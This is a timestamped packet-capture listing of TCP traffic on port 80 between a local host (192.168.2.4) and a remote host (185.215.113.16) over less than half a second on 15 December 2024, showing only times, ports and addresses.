Dec 15, 2024 11:59:59.282042980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.282085896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.282972097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.283015966 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.283086061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.283129930 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.284123898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.284171104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.284235001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.284275055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.285094023 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.285140038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.285252094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.285290956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.286222935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.286269903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.286412001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.286456108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.287203074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.287246943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.287293911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.287338972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.288242102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.288309097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.288373947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.288419008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.289319992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.289364100 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.289469004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.289518118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.290582895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.290627003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.290921926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.290966988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.292085886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.292119980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.292129993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.292165995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.292674065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.292715073 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.292726994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.292769909 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.293546915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.293591976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.293665886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.293709040 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.294702053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.294747114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.294820070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.294866085 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.295660973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.295711040 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.295770884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.295814037 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.296719074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.296762943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.296837091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.296880007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.297792912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.297837973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.297899961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.297941923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.298847914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.298892975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.298971891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.299016953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.299882889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.299927950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.300003052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.300057888 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.300949097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.300992012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.301068068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.301110983 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.302032948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.302067995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.302077055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.302109957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.303075075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.303112984 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.303185940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.303227901 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.304114103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.304157972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.304275036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.304316998 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.305155039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.305197001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.449031115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.449090958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.449095964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.449141979 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.449517965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.449559927 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.449785948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.449830055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.450623989 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.450670004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.450676918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.450719118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.451656103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.451702118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.451776981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.451817989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.452676058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.452723026 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.452797890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.452842951 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.453742027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.453792095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.453870058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.453916073 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.454812050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.454865932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.454957962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.455003023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.455842018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.455893993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.455965042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.456007004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.456907988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.456959963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.457015991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.457076073 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.457957029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.458012104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.458169937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.458245993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.459006071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.459057093 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.459131956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.459192991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.460071087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.460124969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.460127115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.460167885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.461137056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.461180925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.461255074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.461302996 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.462178946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.462227106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.462301970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.462346077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.463361979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.463413000 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.463416100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.463457108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.464282036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.464324951 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.464386940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.464443922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.465331078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.465383053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.465384007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.465432882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.466398954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.466451883 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.466514111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.466557980 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.467449903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.467505932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.467505932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.467552900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.468502045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.468554020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.468554974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.468600035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.469569921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.469604015 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.469623089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.469647884 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.470632076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.470688105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.470752954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.470799923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.471651077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.471704006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.471709013 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.471749067 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.472706079 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.472758055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.472816944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.472861052 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.473771095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.473828077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.473879099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.473922014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.474900007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.474953890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.475014925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.475061893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.475857019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.475910902 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.475964069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.476006031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.476926088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.476980925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.477041960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.477085114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.477987051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.478039980 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.478101969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.478146076 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.479022026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.479073048 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.479135036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.479176044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.480092049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.480142117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.480206013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.480247021 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.481127024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.481173992 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.481235027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.481276035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.482198954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.482260942 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.482321978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.482362986 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.483247995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.483289957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.483366013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.483405113 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.484292984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.484338045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.484411001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.484452963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.485353947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.485413074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.485467911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.485516071 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.486419916 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.486479998 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.486576080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.486625910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.487456083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.487513065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.487593889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.487642050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.488534927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.488588095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.488651037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.488696098 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.489589930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.489641905 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.489696980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.489742041 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.490746021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.490802050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.490900993 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.490948915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.491678953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.491735935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.491799116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.491843939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.492764950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.492811918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.492887974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.492933035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.493794918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.493844986 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.493922949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.493967056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.494889975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.494942904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.495004892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.495052099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.495896101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.495939016 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.496064901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.496113062 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.496946096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.496993065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.497054100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.497097969 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.498016119 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.498060942 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.498094082 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.498133898 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.499054909 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.499103069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.499181032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.499233007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.500127077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.500175953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.500360966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.500406981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.501156092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.501202106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.501261950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.501307011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.502206087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.502257109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.502316952 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.502357006 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.503292084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.503331900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.503395081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.503437996 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.504314899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.504359961 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.640822887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.640877962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.640945911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.640994072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.641367912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.641415119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.641475916 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.641520023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.642338037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.642380953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.642456055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.642502069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.643565893 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.643620968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.643697023 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.643739939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.644571066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.644614935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.644687891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.644730091 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.645492077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.645539045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.645586014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.645628929 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.646539927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.646584988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.646660089 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.646703005 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.647614956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.647656918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.647747040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.647793055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.648682117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.648726940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.648786068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.648828030 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.649701118 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.649753094 CET	49876	80	192.168.2.4	185.215.113.16
